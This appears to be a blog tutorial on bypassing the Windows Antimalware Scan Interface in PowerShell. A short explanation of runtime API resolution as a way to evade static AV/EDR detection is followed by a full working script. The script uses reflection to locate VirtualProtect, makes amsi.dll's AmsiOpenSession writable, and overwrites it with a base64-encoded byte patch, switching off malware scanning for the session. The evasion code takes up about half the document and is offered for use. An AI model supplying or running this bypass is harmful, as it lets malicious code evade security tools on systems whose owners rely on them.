Bypassing AMSI with Dynamic API Resolution in PowerShell

What is Dynamic API Resolution?

Dynamic API Resolution is a technique where Windows API function addresses are resolved at runtime, instead of being imported and declared upfront when the program is compiled or loaded.

In simpler terms — rather than saying:

“Hey system, I’ll need VirtualProtect and WriteProcessMemory, here’s the list in advance.”

You say:

“I’ll decide what I need while I’m running, and quietly grab those functions when the time comes.”

This is done using functions like:

  • GetModuleHandle → to get the handle of a DLL (like kernel32.dll or amsi.dll)
  • GetProcAddress → to get the memory address of a specific function (like AmsiOpenSession, VirtualProtect)

Why is Dynamic API Resolution Better than Static Imports?

Static API ImportDynamic API Resolution
APIs are declared upfront via P/Invoke or linkingAPIs are looked up in-memory at runtime
Imports are visible in the PE header / IATNo API names visible in the executable
Easy for AV/EDR to statically scan and detectHarder to detect with static analysis
Detected via known bad API patternsNo upfront signature to trigger on
Example: DllImport("kernel32.dll")GetModuleHandle("kernel32.dll")GetProcAddress("VirtualProtect")

In short:
Static imports advertise your intentions to the AV/EDR before your code runs.
Dynamic API resolution stays hidden and only reveals what’s needed, when it’s needed — reducing static detection risk.

Proof of Concept

function LookupFunc {

	Param ($moduleName, $functionName)

	$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
	return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

function getDelegateType {

	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
		[Parameter(Position = 1)] [Type] $delType = [Void]
	)

	$type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), 
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
      DefineDynamicModule('InMemoryModule', $false).
      DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', 
      [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
      SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
      SetImplementationFlags('Runtime, Managed')

	return $type.CreateType()
}

[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)

$buf = [Byte[]] ([Convert]::FromBase64String("SDHAAw==")) 
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)

Leave a Comment